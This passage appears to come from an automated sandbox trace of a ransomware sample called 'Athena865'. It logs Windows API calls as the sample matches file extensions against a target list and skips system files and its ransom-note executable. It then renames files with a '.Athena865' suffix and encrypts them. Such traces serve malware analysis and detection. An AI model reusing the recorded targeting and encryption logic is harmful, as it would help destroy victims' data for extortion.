lpString2="$er") returned 1 [0129.808] lstrlenW (lpString="4dd") returned 3 [0129.808] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.808] lstrlenW (lpString="4dl") returned 3 [0129.808] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.808] lstrlenW (lpString="^^^") returned 3 [0129.808] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.808] lstrlenW (lpString="abs") returned 3 [0129.808] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.808] lstrlenW (lpString="abx") returned 3 [0129.808] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.809] lstrlenW (lpString="accdb") returned 5 [0129.809] lstrcmpiW (lpString1="7.WMF", lpString2="accdb") returned -1 [0129.809] lstrlenW (lpString="accdc") returned 5 [0129.809] lstrcmpiW (lpString1="7.WMF", lpString2="accdc") returned -1 [0129.809] lstrlenW (lpString="accde") returned 5 [0129.809] lstrcmpiW (lpString1="7.WMF", lpString2="accde") returned -1 [0129.809] lstrlenW (lpString="accdr") returned 5 [0129.809] lstrcmpiW (lpString1="7.WMF", lpString2="accdr") returned -1 [0129.809] lstrlenW (lpString="accdt") returned 5 [0129.809] lstrcmpiW (lpString1="7.WMF", lpString2="accdt") returned -1 [0129.809] lstrlenW (lpString="accdw") returned 5 [0129.809] lstrcmpiW (lpString1="7.WMF", lpString2="accdw") returned -1 [0129.809] lstrlenW (lpString="accft") returned 5 [0129.809] lstrcmpiW (lpString1="7.WMF", lpString2="accft") returned -1 [0129.809] lstrlenW (lpString="adb") returned 3 [0129.809] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.809] lstrlenW (lpString="adb") returned 3 [0129.809] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.809] lstrlenW (lpString="ade") returned 3 [0129.809] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.809] lstrlenW (lpString="adf") returned 3 [0129.809] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.809] lstrlenW (lpString="adn") returned 3 [0129.809] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.809] lstrlenW (lpString="adp") returned 3 [0129.810] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.810] lstrlenW (lpString="alf") returned 3 [0129.810] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.810] lstrlenW (lpString="ask") returned 3 [0129.810] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.810] lstrlenW (lpString="btr") returned 3 [0129.810] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.810] lstrlenW (lpString="cat") returned 3 [0129.810] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.810] lstrlenW (lpString="cdb") returned 3 [0129.810] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.810] lstrlenW (lpString="ckp") returned 3 [0129.810] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.810] lstrlenW (lpString="cma") returned 3 [0129.810] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.810] lstrlenW (lpString="cpd") returned 3 [0129.810] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.810] lstrlenW (lpString="dacpac") returned 6 [0129.810] lstrcmpiW (lpString1="17.WMF", lpString2="dacpac") returned -1 [0129.810] lstrlenW (lpString="dad") returned 3 [0129.810] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.810] lstrlenW (lpString="dadiagrams") returned 10 [0129.810] lstrcmpiW (lpString1="287417.WMF", lpString2="dadiagrams") returned -1 [0129.810] lstrlenW (lpString="daschema") returned 8 [0129.810] lstrcmpiW (lpString1="7417.WMF", lpString2="daschema") returned -1 [0129.810] lstrlenW (lpString="db-journal") returned 10 [0129.810] lstrcmpiW (lpString1="287417.WMF", lpString2="db-journal") returned -1 [0129.811] lstrlenW (lpString="db-shm") returned 6 [0129.811] lstrcmpiW (lpString1="17.WMF", lpString2="db-shm") returned -1 [0129.811] lstrlenW (lpString="db-wal") returned 6 [0129.811] lstrcmpiW (lpString1="17.WMF", lpString2="db-wal") returned -1 [0129.811] lstrlenW (lpString="dbc") returned 3 [0129.811] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.811] lstrlenW (lpString="dbs") returned 3 [0129.811] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.811] lstrlenW (lpString="dbt") returned 3 [0129.811] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.811] lstrlenW (lpString="dbv") returned 3 [0129.811] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.811] lstrlenW (lpString="dbx") returned 3 [0129.811] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.811] lstrlenW (lpString="dcb") returned 3 [0129.811] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.811] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.812] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.Athena865") returned 73 [0129.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf.athena865"), dwFlags=0x1) returned 1 [0129.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.813] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=54972) returned 1 [0129.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.814] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.814] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.814] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.815] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd9c0, lpName=0x0) returned 0x154 [0129.817] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd9c0) returned 0x100000 [0129.826] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.829] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.829] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.832] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.833] CloseHandle (hObject=0x154) returned 1 [0129.833] CloseHandle (hObject=0x17c) returned 1 [0129.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.834] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82369200, ftCreationTime.dwHighDateTime=0x1bf58e6, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82369200, ftLastWriteTime.dwHighDateTime=0x1bf58e6, nFileSizeHigh=0x0, nFileSizeLow=0x89a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287641.JPG", cAlternateFileName="")) returned 1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2=".") returned 1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2="..") returned 1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2="windows") returned -1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2="bootmgr") returned 1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2="temp") returned -1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2="pagefile.sys") returned -1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2="boot") returned 1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2="ids.txt") returned 1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2="ntuser.dat") returned -1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2="perflogs") returned -1 [0129.834] lstrcmpiW (lpString1="J0287641.JPG", lpString2="MSBuild") returned -1 [0129.834] lstrlenW (lpString="J0287641.JPG") returned 12 [0129.834] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0287641.JPG" | out: lpString1="J0287641.JPG") returned="J0287641.JPG" [0129.834] lstrlenW (lpString="J0287641.JPG") returned 12 [0129.834] lstrlenW (lpString="Athena865") returned 9 [0129.834] lstrcmpiW (lpString1="87641.JPG", lpString2="Athena865") returned -1 [0129.835] lstrlenW (lpString=".dll") returned 4 [0129.835] lstrcmpiW (lpString1="J0287641.JPG", lpString2=".dll") returned 1 [0129.835] lstrlenW (lpString=".lnk") returned 4 [0129.835] lstrcmpiW (lpString1="J0287641.JPG", lpString2=".lnk") returned 1 [0129.835] lstrlenW (lpString=".ini") returned 4 [0129.835] lstrcmpiW (lpString1="J0287641.JPG", lpString2=".ini") returned 1 [0129.835] lstrlenW (lpString=".sys") returned 4 [0129.835] lstrcmpiW (lpString1="J0287641.JPG", lpString2=".sys") returned 1 [0129.835] lstrlenW (lpString="J0287641.JPG") returned 12 [0129.836] lstrlenW (lpString="bak") returned 3 [0129.837] lstrcmpiW (lpString1="JPG", lpString2="bak") returned 1 [0129.837] lstrlenW (lpString="ba_") returned 3 [0129.837] lstrcmpiW (lpString1="JPG", lpString2="ba_") returned 1 [0129.838] lstrlenW (lpString="dbb") returned 3 [0129.839] lstrcmpiW (lpString1="JPG", lpString2="dbb") returned 1 [0129.840] lstrlenW (lpString="vmdk") returned 4 [0129.840] lstrcmpiW (lpString1=".JPG", lpString2="vmdk") returned -1 [0129.840] lstrlenW (lpString="rar") returned 3 [0129.841] lstrcmpiW (lpString1="JPG", lpString2="rar") returned -1 [0129.842] lstrlenW (lpString="zip") returned 3 [0129.842] lstrcmpiW (lpString1="JPG", lpString2="zip") returned -1 [0129.844] lstrlenW (lpString="tgz") returned 3 [0129.844] lstrcmpiW (lpString1="JPG", lpString2="tgz") returned -1 [0129.844] lstrlenW (lpString="vbox") returned 4 [0129.844] lstrcmpiW (lpString1=".JPG", lpString2="vbox") returned -1 [0129.844] lstrlenW (lpString="vdi") returned 3 [0129.844] lstrcmpiW (lpString1="JPG", lpString2="vdi") returned -1 [0129.844] lstrlenW (lpString="vhd") returned 3 [0129.844] lstrcmpiW (lpString1="JPG", lpString2="vhd") returned -1 [0129.844] lstrlenW (lpString="vhdx") returned 4 [0129.845] lstrcmpiW (lpString1=".JPG", lpString2="vhdx") returned -1 [0129.845] lstrlenW (lpString="avhd") returned 4 [0129.845] lstrcmpiW (lpString1=".JPG", lpString2="avhd") returned -1 [0129.846] lstrlenW (lpString="db") returned 2 [0129.846] lstrcmpiW (lpString1="PG", lpString2="db") returned 1 [0129.846] lstrlenW (lpString="db2") returned 3 [0129.846] lstrcmpiW (lpString1="JPG", lpString2="db2") returned 1 [0129.846] lstrlenW (lpString="db3") returned 3 [0129.846] lstrcmpiW (lpString1="JPG", lpString2="db3") returned 1 [0129.846] lstrlenW (lpString="dbf") returned 3 [0129.846] lstrcmpiW (lpString1="JPG", lpString2="dbf") returned 1 [0129.846] lstrlenW (lpString="mdf") returned 3 [0129.846] lstrcmpiW (lpString1="JPG", lpString2="mdf") returned -1 [0129.846] lstrlenW (lpString="mdb") returned 3 [0129.847] lstrcmpiW (lpString1="JPG", lpString2="mdb") returned -1 [0129.848] lstrlenW (lpString="sql") returned 3 [0129.849] lstrcmpiW (lpString1="JPG", lpString2="sql") returned -1 [0129.849] lstrlenW (lpString="sqlite") returned 6 [0129.849] lstrcmpiW (lpString1="41.JPG", lpString2="sqlite") returned -1 [0129.849] lstrlenW (lpString="sqlite3") returned 7 [0129.849] lstrcmpiW (lpString1="641.JPG", lpString2="sqlite3") returned -1 [0129.849] lstrlenW (lpString="sqlitedb") returned 8 [0129.849] lstrcmpiW (lpString1="7641.JPG", lpString2="sqlitedb") returned -1 [0129.849] lstrlenW (lpString="xml") returned 3 [0129.849] lstrcmpiW (lpString1="JPG", lpString2="xml") returned -1 [0129.849] lstrlenW (lpString="$er") returned 3 [0129.849] lstrcmpiW (lpString1="JPG", lpString2="$er") returned 1 [0129.850] lstrlenW (lpString="4dd") returned 3 [0129.850] lstrcmpiW (lpString1="JPG", lpString2="4dd") returned 1 [0129.850] lstrlenW (lpString="4dl") returned 3 [0129.850] lstrcmpiW (lpString1="JPG", lpString2="4dl") returned 1 [0129.850] lstrlenW (lpString="^^^") returned 3 [0129.850] lstrcmpiW (lpString1="JPG", lpString2="^^^") returned 1 [0129.850] lstrlenW (lpString="abs") returned 3 [0129.850] lstrcmpiW (lpString1="JPG", lpString2="abs") returned 1 [0129.851] lstrlenW (lpString="abx") returned 3 [0129.851] lstrcmpiW (lpString1="JPG", lpString2="abx") returned 1 [0129.852] lstrlenW (lpString="accdb") returned 5 [0129.852] lstrcmpiW (lpString1="1.JPG", lpString2="accdb") returned -1 [0129.852] lstrlenW (lpString="accdc") returned 5 [0129.852] lstrcmpiW (lpString1="1.JPG", lpString2="accdc") returned -1 [0129.852] lstrlenW (lpString="accde") returned 5 [0129.852] lstrcmpiW (lpString1="1.JPG", lpString2="accde") returned -1 [0129.852] lstrlenW (lpString="accdr") returned 5 [0129.852] lstrcmpiW (lpString1="1.JPG", lpString2="accdr") returned -1 [0129.852] lstrlenW (lpString="accdt") returned 5 [0129.852] lstrcmpiW (lpString1="1.JPG", lpString2="accdt") returned -1 [0129.853] lstrlenW (lpString="accdw") returned 5 [0129.854] lstrcmpiW (lpString1="1.JPG", lpString2="accdw") returned -1 [0129.854] lstrlenW (lpString="accft") returned 5 [0129.854] lstrcmpiW (lpString1="1.JPG", lpString2="accft") returned -1 [0129.854] lstrlenW (lpString="adb") returned 3 [0129.854] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0129.854] lstrlenW (lpString="adb") returned 3 [0129.854] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0129.854] lstrlenW (lpString="ade") returned 3 [0129.855] lstrcmpiW (lpString1="JPG", lpString2="ade") returned 1 [0129.855] lstrlenW (lpString="adf") returned 3 [0129.855] lstrcmpiW (lpString1="JPG", lpString2="adf") returned 1 [0129.855] lstrlenW (lpString="adn") returned 3 [0129.855] lstrcmpiW (lpString1="JPG", lpString2="adn") returned 1 [0129.855] lstrlenW (lpString="adp") returned 3 [0129.855] lstrcmpiW (lpString1="JPG", lpString2="adp") returned 1 [0129.856] lstrlenW (lpString="alf") returned 3 [0129.856] lstrcmpiW (lpString1="JPG", lpString2="alf") returned 1 [0129.856] lstrlenW (lpString="ask") returned 3 [0129.857] lstrcmpiW (lpString1="JPG", lpString2="ask") returned 1 [0129.857] lstrlenW (lpString="btr") returned 3 [0129.858] lstrcmpiW (lpString1="JPG", lpString2="btr") returned 1 [0129.858] lstrlenW (lpString="cat") returned 3 [0129.858] lstrcmpiW (lpString1="JPG", lpString2="cat") returned 1 [0129.858] lstrlenW (lpString="cdb") returned 3 [0129.858] lstrcmpiW (lpString1="JPG", lpString2="cdb") returned 1 [0129.858] lstrlenW (lpString="ckp") returned 3 [0129.858] lstrcmpiW (lpString1="JPG", lpString2="ckp") returned 1 [0129.859] lstrlenW (lpString="cma") returned 3 [0129.859] lstrcmpiW (lpString1="JPG", lpString2="cma") returned 1 [0129.859] lstrlenW (lpString="cpd") returned 3 [0129.859] lstrcmpiW (lpString1="JPG", lpString2="cpd") returned 1 [0129.860] lstrlenW (lpString="dacpac") returned 6 [0129.860] lstrcmpiW (lpString1="41.JPG", lpString2="dacpac") returned -1 [0129.860] lstrlenW (lpString="dad") returned 3 [0129.860] lstrcmpiW (lpString1="JPG", lpString2="dad") returned 1 [0129.860] lstrlenW (lpString="dadiagrams") returned 10 [0129.860] lstrcmpiW (lpString1="287641.JPG", lpString2="dadiagrams") returned -1 [0129.860] lstrlenW (lpString="daschema") returned 8 [0129.860] lstrcmpiW (lpString1="7641.JPG", lpString2="daschema") returned -1 [0129.861] lstrlenW (lpString="db-journal") returned 10 [0129.861] lstrcmpiW (lpString1="287641.JPG", lpString2="db-journal") returned -1 [0129.861] lstrlenW (lpString="db-shm") returned 6 [0129.861] lstrcmpiW (lpString1="41.JPG", lpString2="db-shm") returned -1 [0129.861] lstrlenW (lpString="db-wal") returned 6 [0129.861] lstrcmpiW (lpString1="41.JPG", lpString2="db-wal") returned -1 [0129.861] lstrlenW (lpString="dbc") returned 3 [0129.861] lstrcmpiW (lpString1="JPG", lpString2="dbc") returned 1 [0129.861] lstrlenW (lpString="dbs") returned 3 [0129.861] lstrcmpiW (lpString1="JPG", lpString2="dbs") returned 1 [0129.861] lstrlenW (lpString="dbt") returned 3 [0129.861] lstrcmpiW (lpString1="JPG", lpString2="dbt") returned 1 [0129.861] lstrlenW (lpString="dbv") returned 3 [0129.861] lstrcmpiW (lpString1="JPG", lpString2="dbv") returned 1 [0129.861] lstrlenW (lpString="dbx") returned 3 [0129.861] lstrcmpiW (lpString1="JPG", lpString2="dbx") returned 1 [0129.861] lstrlenW (lpString="dcb") returned 3 [0129.861] lstrcmpiW (lpString1="JPG", lpString2="dcb") returned 1 [0129.861] lstrlenW (lpString="dct") returned 3 [0129.861] lstrcmpiW (lpString1="JPG", lpString2="dct") returned 1 [0129.861] lstrlenW (lpString="dcx") returned 3 [0129.861] lstrcmpiW (lpString1="JPG", lpString2="dcx") returned 1 [0129.861] lstrlenW (lpString="ddl") returned 3 [0129.861] lstrcmpiW (lpString1="JPG", lpString2="ddl") returned 1 [0129.861] lstrlenW (lpString="dlis") returned 4 [0129.862] lstrcmpiW (lpString1=".JPG", lpString2="dlis") returned -1 [0129.862] lstrlenW (lpString="dp1") returned 3 [0129.862] lstrcmpiW (lpString1="JPG", lpString2="dp1") returned 1 [0129.862] lstrlenW (lpString="dqy") returned 3 [0129.862] lstrcmpiW (lpString1="JPG", lpString2="dqy") returned 1 [0129.862] lstrlenW (lpString="dsk") returned 3 [0129.862] lstrcmpiW (lpString1="JPG", lpString2="dsk") returned 1 [0129.862] lstrlenW (lpString="dsn") returned 3 [0129.862] lstrcmpiW (lpString1="JPG", lpString2="dsn") returned 1 [0129.862] lstrlenW (lpString="dtsx") returned 4 [0129.862] lstrcmpiW (lpString1=".JPG", lpString2="dtsx") returned -1 [0129.862] lstrlenW (lpString="dxl") returned 3 [0129.862] lstrcmpiW (lpString1="JPG", lpString2="dxl") returned 1 [0129.862] lstrlenW (lpString="eco") returned 3 [0129.862] lstrcmpiW (lpString1="JPG", lpString2="eco") returned 1 [0129.862] lstrlenW (lpString="ecx") returned 3 [0129.862] lstrcmpiW (lpString1="JPG", lpString2="ecx") returned 1 [0129.862] lstrlenW (lpString="edb") returned 3 [0129.862] lstrcmpiW (lpString1="JPG", lpString2="edb") returned 1 [0129.862] lstrlenW (lpString="epim") returned 4 [0129.862] lstrcmpiW (lpString1=".JPG", lpString2="epim") returned -1 [0129.862] lstrlenW (lpString="fcd") returned 3 [0129.862] lstrcmpiW (lpString1="JPG", lpString2="fcd") returned 1 [0129.862] lstrlenW (lpString="fdb") returned 3 [0129.862] lstrcmpiW (lpString1="JPG", lpString2="fdb") returned 1 [0129.862] lstrlenW (lpString="fic") returned 3 [0129.863] lstrcmpiW (lpString1="JPG", lpString2="fic") returned 1 [0129.863] lstrlenW (lpString="flexolibrary") returned 12 [0129.863] lstrlenW (lpString="fm5") returned 3 [0129.863] lstrcmpiW (lpString1="JPG", lpString2="fm5") returned 1 [0129.863] lstrlenW (lpString="fmp") returned 3 [0129.863] lstrcmpiW (lpString1="JPG", lpString2="fmp") returned 1 [0129.863] lstrlenW (lpString="fmp12") returned 5 [0129.863] lstrcmpiW (lpString1="1.JPG", lpString2="fmp12") returned -1 [0129.863] lstrlenW (lpString="fmpsl") returned 5 [0129.863] lstrcmpiW (lpString1="1.JPG", lpString2="fmpsl") returned -1 [0129.863] lstrlenW (lpString="fol") returned 3 [0129.863] lstrcmpiW (lpString1="JPG", lpString2="fol") returned 1 [0129.863] lstrlenW (lpString="fp3") returned 3 [0129.863] lstrcmpiW (lpString1="JPG", lpString2="fp3") returned 1 [0129.863] lstrlenW (lpString="fp4") returned 3 [0129.863] lstrcmpiW (lpString1="JPG", lpString2="fp4") returned 1 [0129.863] lstrlenW (lpString="fp5") returned 3 [0129.863] lstrcmpiW (lpString1="JPG", lpString2="fp5") returned 1 [0129.863] lstrlenW (lpString="fp7") returned 3 [0129.863] lstrcmpiW (lpString1="JPG", lpString2="fp7") returned 1 [0129.863] lstrlenW (lpString="fpt") returned 3 [0129.863] lstrcmpiW (lpString1="JPG", lpString2="fpt") returned 1 [0129.863] lstrlenW (lpString="frm") returned 3 [0129.863] lstrcmpiW (lpString1="JPG", lpString2="frm") returned 1 [0129.863] lstrlenW (lpString="gdb") returned 3 [0129.863] lstrcmpiW (lpString1="JPG", lpString2="gdb") returned 1 [0129.864] lstrlenW (lpString="gdb") returned 3 [0129.864] lstrcmpiW (lpString1="JPG", lpString2="gdb") returned 1 [0129.864] lstrlenW (lpString="grdb") returned 4 [0129.864] lstrcmpiW (lpString1=".JPG", lpString2="grdb") returned -1 [0129.864] lstrlenW (lpString="gwi") returned 3 [0129.864] lstrcmpiW (lpString1="JPG", lpString2="gwi") returned 1 [0129.864] lstrlenW (lpString="hdb") returned 3 [0129.864] lstrcmpiW (lpString1="JPG", lpString2="hdb") returned 1 [0129.864] lstrlenW (lpString="his") returned 3 [0129.864] lstrcmpiW (lpString1="JPG", lpString2="his") returned 1 [0129.864] lstrlenW (lpString="ib") returned 2 [0129.864] lstrcmpiW (lpString1="PG", lpString2="ib") returned 1 [0129.864] lstrlenW (lpString="idb") returned 3 [0129.864] lstrcmpiW (lpString1="JPG", lpString2="idb") returned 1 [0129.864] lstrlenW (lpString="ihx") returned 3 [0129.864] lstrcmpiW (lpString1="JPG", lpString2="ihx") returned 1 [0129.864] lstrlenW (lpString="itdb") returned 4 [0129.864] lstrcmpiW (lpString1=".JPG", lpString2="itdb") returned -1 [0129.864] lstrlenW (lpString="itw") returned 3 [0129.864] lstrcmpiW (lpString1="JPG", lpString2="itw") returned 1 [0129.864] lstrlenW (lpString="jet") returned 3 [0129.864] lstrcmpiW (lpString1="JPG", lpString2="jet") returned 1 [0129.864] lstrlenW (lpString="jtx") returned 3 [0129.864] lstrcmpiW (lpString1="JPG", lpString2="jtx") returned -1 [0129.864] lstrlenW (lpString="kdb") returned 3 [0129.865] lstrcmpiW (lpString1="JPG", lpString2="kdb") returned -1 [0129.865] lstrlenW (lpString="kexi") returned 4 [0129.865] lstrcmpiW (lpString1=".JPG", lpString2="kexi") returned -1 [0129.865] lstrlenW (lpString="kexic") returned 5 [0129.865] lstrcmpiW (lpString1="1.JPG", lpString2="kexic") returned -1 [0129.865] lstrlenW (lpString="kexis") returned 5 [0129.865] lstrcmpiW (lpString1="1.JPG", lpString2="kexis") returned -1 [0129.865] lstrlenW (lpString="lgc") returned 3 [0129.865] lstrcmpiW (lpString1="JPG", lpString2="lgc") returned -1 [0129.865] lstrlenW (lpString="lwx") returned 3 [0129.865] lstrcmpiW (lpString1="JPG", lpString2="lwx") returned -1 [0129.865] lstrlenW (lpString="maf") returned 3 [0129.865] lstrcmpiW (lpString1="JPG", lpString2="maf") returned -1 [0129.865] lstrlenW (lpString="maq") returned 3 [0129.865] lstrcmpiW (lpString1="JPG", lpString2="maq") returned -1 [0129.865] lstrlenW (lpString="mar") returned 3 [0129.865] lstrcmpiW (lpString1="JPG", lpString2="mar") returned -1 [0129.865] lstrlenW (lpString="marshal") returned 7 [0129.865] lstrcmpiW (lpString1="641.JPG", lpString2="marshal") returned -1 [0129.865] lstrlenW (lpString="mas") returned 3 [0129.865] lstrcmpiW (lpString1="JPG", lpString2="mas") returned -1 [0129.865] lstrlenW (lpString="mav") returned 3 [0129.865] lstrcmpiW (lpString1="JPG", lpString2="mav") returned -1 [0129.865] lstrlenW (lpString="maw") returned 3 [0129.865] lstrcmpiW (lpString1="JPG", lpString2="maw") returned -1 [0129.865] lstrlenW (lpString="mdbhtml") returned 7 [0129.866] lstrcmpiW (lpString1="641.JPG", lpString2="mdbhtml") returned -1 [0129.866] lstrlenW (lpString="mdn") returned 3 [0129.866] lstrcmpiW (lpString1="JPG", lpString2="mdn") returned -1 [0129.866] lstrlenW (lpString="mdt") returned 3 [0129.866] lstrcmpiW (lpString1="JPG", lpString2="mdt") returned -1 [0129.866] lstrlenW (lpString="mfd") returned 3 [0129.866] lstrcmpiW (lpString1="JPG", lpString2="mfd") returned -1 [0129.866] lstrlenW (lpString="mpd") returned 3 [0129.866] lstrcmpiW (lpString1="JPG", lpString2="mpd") returned -1 [0129.866] lstrlenW (lpString="mrg") returned 3 [0129.866] lstrcmpiW (lpString1="JPG", lpString2="mrg") returned -1 [0129.866] lstrlenW (lpString="mud") returned 3 [0129.866] lstrcmpiW (lpString1="JPG", lpString2="mud") returned -1 [0129.866] lstrlenW (lpString="mwb") returned 3 [0129.866] lstrcmpiW (lpString1="JPG", lpString2="mwb") returned -1 [0129.866] lstrlenW (lpString="myd") returned 3 [0129.866] lstrcmpiW (lpString1="JPG", lpString2="myd") returned -1 [0129.866] lstrlenW (lpString="ndf") returned 3 [0129.866] lstrcmpiW (lpString1="JPG", lpString2="ndf") returned -1 [0129.866] lstrlenW (lpString="nnt") returned 3 [0129.866] lstrcmpiW (lpString1="JPG", lpString2="nnt") returned -1 [0129.866] lstrlenW (lpString="nrmlib") returned 6 [0129.866] lstrcmpiW (lpString1="41.JPG", lpString2="nrmlib") returned -1 [0129.866] lstrlenW (lpString="ns2") returned 3 [0129.866] lstrcmpiW (lpString1="JPG", lpString2="ns2") returned -1 [0129.867] lstrlenW (lpString="ns3") returned 3 [0129.867] lstrcmpiW (lpString1="JPG", lpString2="ns3") returned -1 [0129.867] lstrlenW (lpString="ns4") returned 3 [0129.867] lstrcmpiW (lpString1="JPG", lpString2="ns4") returned -1 [0129.867] lstrlenW (lpString="nsf") returned 3 [0129.867] lstrcmpiW (lpString1="JPG", lpString2="nsf") returned -1 [0129.867] lstrlenW (lpString="nv") returned 2 [0129.867] lstrcmpiW (lpString1="PG", lpString2="nv") returned 1 [0129.867] lstrlenW (lpString="nv2") returned 3 [0129.867] lstrcmpiW (lpString1="JPG", lpString2="nv2") returned -1 [0129.867] lstrlenW (lpString="nwdb") returned 4 [0129.867] 